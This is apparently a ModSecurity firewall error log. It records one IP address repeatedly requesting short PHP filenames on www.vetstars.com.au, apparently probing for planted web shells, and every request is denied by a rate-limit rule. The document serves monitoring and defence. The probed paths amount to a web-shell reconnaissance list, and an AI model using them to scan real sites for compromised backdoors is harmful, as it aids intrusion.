[Sun Dec 07 23:02:21.862967 2025] [:error] [pid 9961:tid 9979] [client 4.190.185.215:35098] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aTWW_WQdnfbgcnzr89KDNAAAAVA"]
[Sun Dec 07 23:02:23.617729 2025] [:error] [pid 5223:tid 5256] [client 4.190.185.215:43910] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aTWW__oRJa-T0FB0DNoAKgAAAII"]
[Sun Dec 07 23:02:25.074966 2025] [:error] [pid 9961:tid 9972] [client 4.190.185.215:44166] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/loi.php"] [unique_id "aTWXAWQdnfbgcnzr89KDOQAAAUk"]
[Sun Dec 07 23:02:26.219382 2025] [:error] [pid 9961:tid 9971] [client 4.190.185.215:28378] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/loi.php"] [unique_id "aTWXAmQdnfbgcnzr89KDPAAAAUg"]
[Sun Dec 07 23:02:28.045598 2025] [:error] [pid 5312:tid 5316] [client 4.190.185.215:36436] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/loi.php"] [unique_id "aTWXBOaM49rasZGg_o4XBgAAAAI"]
[Sun Dec 07 23:02:29.309180 2025] [:error] [pid 5312:tid 5334] [client 4.190.185.215:37768] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/loi.php"] [unique_id "aTWXBeaM49rasZGg_o4XCQAAABQ"]
[Sun Dec 07 23:02:29.849364 2025] [:error] [pid 5312:tid 5337] [client 4.190.185.215:24953] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ave.php"] [unique_id "aTWXBeaM49rasZGg_o4XCgAAABc"]
[Sun Dec 07 23:02:31.958841 2025] [:error] [pid 5223:tid 5254] [client 4.190.185.215:45985] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ave.php"] [unique_id "aTWXB_oRJa-T0FB0DNoAOAAAAIA"]
[Sun Dec 07 23:04:29.237777 2025] [:error] [pid 5224:tid 5296] [client 4.190.185.215:32769] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/GX.php"] [unique_id "aTWXffAAkbWt7RJBoF_-6QAAAM8"]
[Sun Dec 07 23:04:30.159189 2025] [:error] [pid 9961:tid 9978] [client 4.190.185.215:42328] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/GX.php"] [unique_id "aTWXfmQdnfbgcnzr89KDzQAAAU8"]
[Sun Dec 07 23:04:31.452471 2025] [:error] [pid 5222:tid 5232] [client 4.190.185.215:32822] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/GX.php"] [unique_id "aTWXf98FU0HgkYWmt7tU_wAAAEY"]
[Sun Dec 07 23:04:32.571466 2025] [:error] [pid 5222:tid 5239] [client 4.190.185.215:44300] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/GX.php"] [unique_id "aTWXgN8FU0HgkYWmt7tVAgAAAE0"]
[Sun Dec 07 23:04:33.887731 2025] [:error] [pid 5224:tid 5293] [client 4.190.185.215:38748] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aTWXgfAAkbWt7RJBoF_-8gAAAMw"]
[Sun Dec 07 23:04:34.658798 2025] [:error] [pid 5223:tid 5267] [client 4.190.185.215:42718] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aTWXgvoRJa-T0FB0DNoAngAAAI0"]
[Sun Dec 07 23:04:35.416746 2025] [:error] [pid 5224:tid 5305] [client 4.190.185.215:32792] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aTWXg_AAkbWt7RJBoF_--QAAANg"]
[Sun Dec 07 23:04:36.388422 2025] [:error] [pid 5222:tid 5235] [client 4.190.185.215:32770] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aTWXhN8FU0HgkYWmt7tVBAAAAEk"]
[Sun Dec 07 23:04:37.586042 2025] [:error] [pid 5222:tid 5234] [client 4.190.185.215:42350] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efa4f.php"] [unique_id "aTWXhd8FU0HgkYWmt7tVBQAAAEg"]
[Sun Dec 07 23:04:38.405638 2025] [:error] [pid 5222:tid 5246] [client 4.190.185.215:44305] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efa4f.php"] [unique_id "aTWXht8FU0HgkYWmt7tVBwAAAFQ"]
[Sun Dec 07 23:04:38.932838 2025] [:error] [pid 5224:tid 5283] [client 4.190.185.215:6018] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efa4f.php"] [unique_id "aTWXhvAAkbWt7RJBoF__AQAAAMI"]
[Sun Dec 07 23:04:40.078390 2025] [:error] [pid 5312:tid 5335] [client 4.190.185.215:6034] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/efa4f.php"] [unique_id "aTWXiOaM49rasZGg_o4XsAAAABU"]
[Sun Dec 07 23:04:41.791949 2025] [:error] [pid 9610:tid 9631] [client 4.190.185.215:42343] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ilex.php"] [unique_id "aTWXicZ4Zl9G0UhQ7w1VTwAAARM"]
[Sun Dec 07 23:04:42.336415 2025] [:error] [pid 9961:tid 9973] [client 4.190.185.215:40065] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ilex.php"] [unique_id "aTWXimQdnfbgcnzr89KD1gAAAUo"]
[Sun Dec 07 23:04:43.405195 2025] [:error] [pid 9610:tid 9617] [client 4.190.185.215:38738] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ilex.php"] [unique_id "aTWXi8Z4Zl9G0UhQ7w1VVgAAAQU"]
[Sun Dec 07 23:04:45.445564 2025] [:error] [pid 5224:tid 5293] [client 4.190.185.215:44309] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ilex.php"] [unique_id "aTWXjfAAkbWt7RJBoF__BQAAAMw"]
[Sun Dec 07 23:04:46.765534 2025] [:error] [pid 5222:tid 5233] [client 4.190.185.215:42702] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aTWXjt8FU0HgkYWmt7tVDwAAAEc"]
[Sun Dec 07 23:04:47.240744 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:6029] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aTWXj2Qdnfbgcnzr89KD3QAAAVI"]
[Sun Dec 07 23:04:47.914495 2025] [:error] [pid 9961:tid 9964] [client 4.190.185.215:42339] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aTWXj2Qdnfbgcnzr89KD4AAAAUE"]
[Sun Dec 07 23:04:49.064398 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:5746] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aTWXkWQdnfbgcnzr89KD4wAAAUY"]
[Sun Dec 07 23:04:50.125309 2025] [:error] [pid 5312:tid 5327] [client 4.190.185.215:6078] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/new2.php"] [unique_id "aTWXkuaM49rasZGg_o4XyAAAAA0"]
[Sun Dec 07 23:04:53.017519 2025] [:error] [pid 5222:tid 5242] [client 4.190.185.215:6028] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/new2.php"] [unique_id "aTWXld8FU0HgkYWmt7tVFQAAAFA"]
[Sun Dec 07 23:04:53.671935 2025] [:error] [pid 9610:tid 9629] [client 4.190.185.215:26200] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/new2.php"] [unique_id "aTWXlcZ4Zl9G0UhQ7w1VYQAAARE"]
[Sun Dec 07 23:04:54.281077 2025] [:error] [pid 5224:tid 5296] [client 4.190.185.215:22990] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/new2.php"] [unique_id "aTWXlvAAkbWt7RJBoF__CwAAAM8"]
[Sun Dec 07 23:04:56.110936 2025] [:error] [pid 9610:tid 9618] [client 4.190.185.215:44331] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aTWXmMZ4Zl9G0UhQ7w1VYwAAAQY"]
[Sun Dec 07 23:04:58.036561 2025] [:error] [pid 9610:tid 9614] [client 4.190.185.215:23039] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aTWXmsZ4Zl9G0UhQ7w1VZAAAAQI"]
[Sun Dec 07 23:04:59.701840 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:40120] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aTWXm8Z4Zl9G0UhQ7w1VZQAAARI"]
[Sun Dec 07 23:05:00.332875 2025] [:error] [pid 9610:tid 9621] [client 4.190.185.215:40113] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aTWXnMZ4Zl9G0UhQ7w1VaAAAAQk"]
[Sun Dec 07 23:05:01.855068 2025] [:error] [pid 9610:tid 9628] [client 4.190.185.215:41151] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goat.php"] [unique_id "aTWXncZ4Zl9G0UhQ7w1VbQAAARA"]
[Sun Dec 07 23:05:03.504219 2025] [:error] [pid 5224:tid 5289] [client 4.190.185.215:45905] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goat.php"] [unique_id "aTWXn_AAkbWt7RJBoF__DwAAAMg"]
[Sun Dec 07 23:05:04.298774 2025] [:error] [pid 5222:tid 5243] [client 4.190.185.215:5753] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goat.php"] [unique_id "aTWXoN8FU0HgkYWmt7tVGwAAAFE"]
[Sun Dec 07 23:05:05.532602 2025] [:error] [pid 9610:tid 9619] [client 4.190.185.215:6114] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goat.php"] [unique_id "aTWXocZ4Zl9G0UhQ7w1VbwAAAQc"]
[Sun Dec 07 23:05:07.059527 2025] [:error] [pid 9610:tid 9616] [client 4.190.185.215:44309] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aTWXo8Z4Zl9G0UhQ7w1VcQAAAQQ"]
[Sun Dec 07 23:05:07.546386 2025] [:error] [pid 5224:tid 5281] [client 4.190.185.215:5203] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aTWXo_AAkbWt7RJBoF__FAAAAMA"]
[Sun Dec 07 23:05:08.795862 2025] [:error] [pid 9610:tid 9634] [client 4.190.185.215:44940] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aTWXpMZ4Zl9G0UhQ7w1VcgAAARY"]
[Sun Dec 07 23:05:09.706261 2025] [:error] [pid 9961:tid 9973] [client 4.190.185.215:44619] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aTWXpWQdnfbgcnzr89KEAwAAAUo"]
[Sun Dec 07 23:05:11.176872 2025] [:error] [pid 9610:tid 9626] [client 4.190.185.215:26234] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file6.php"] [unique_id "aTWXp8Z4Zl9G0UhQ7w1VcwAAAQ4"]
[Sun Dec 07 23:05:12.969946 2025] [:error] [pid 5223:tid 5257] [client 4.190.185.215:41919] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file6.php"] [unique_id "aTWXqPoRJa-T0FB0DNoAxAAAAIM"]
[Sun Dec 07 23:05:13.586796 2025] [:error] [pid 5223:tid 5272] [client 4.190.185.215:44578] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file6.php"] [unique_id "aTWXqfoRJa-T0FB0DNoAxQAAAJI"]
[Sun Dec 07 23:05:14.274408 2025] [:error] [pid 9610:tid 9624] [client 4.190.185.215:26215] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file6.php"] [unique_id "aTWXqsZ4Zl9G0UhQ7w1VdAAAAQw"]
[Sun Dec 07 23:05:15.805258 2025] [:error] [pid 9610:tid 9618] [client 4.190.185.215:6097] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aTWXq8Z4Zl9G0UhQ7w1VdQAAAQY"]
[Sun Dec 07 23:05:16.492058 2025] [:error] [pid 9961:tid 9975] [client 4.190.185.215:44632] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aTWXrGQdnfbgcnzr89KECQAAAUw"]
[Sun Dec 07 23:05:17.389753 2025] [:error] [pid 9961:tid 9972] [client 4.190.185.215:44594] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aTWXrWQdnfbgcnzr89KECwAAAUk"]
[Sun Dec 07 23:05:19.271813 2025] [:error] [pid 9610:tid 9620] [client 4.190.185.215:44949] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aTWXr8Z4Zl9G0UhQ7w1VeQAAAQg"]
[Sun Dec 07 23:05:20.448482 2025] [:error] [pid 5223:tid 5270] [client 4.190.185.215:35538] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sow.php"] [unique_id "aTWXsPoRJa-T0FB0DNoAywAAAJA"]
[Sun Dec 07 23:05:21.890061 2025] [:error] [pid 5224:tid 5299] [client 4.190.185.215:30419] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sow.php"] [unique_id "aTWXsfAAkbWt7RJBoF__JQAAANI"]
[Sun Dec 07 23:05:23.746783 2025] [:error] [pid 5224:tid 5303] [client 4.190.185.215:46050] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sow.php"] [unique_id "aTWXs_AAkbWt7RJBoF__JwAAANY"]
[Sun Dec 07 23:07:08.373832 2025] [:error] [pid 5222:tid 5233] [client 4.190.185.215:5328] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admir.php"] [unique_id "aTWYHN8FU0HgkYWmt7tVfQAAAEc"]
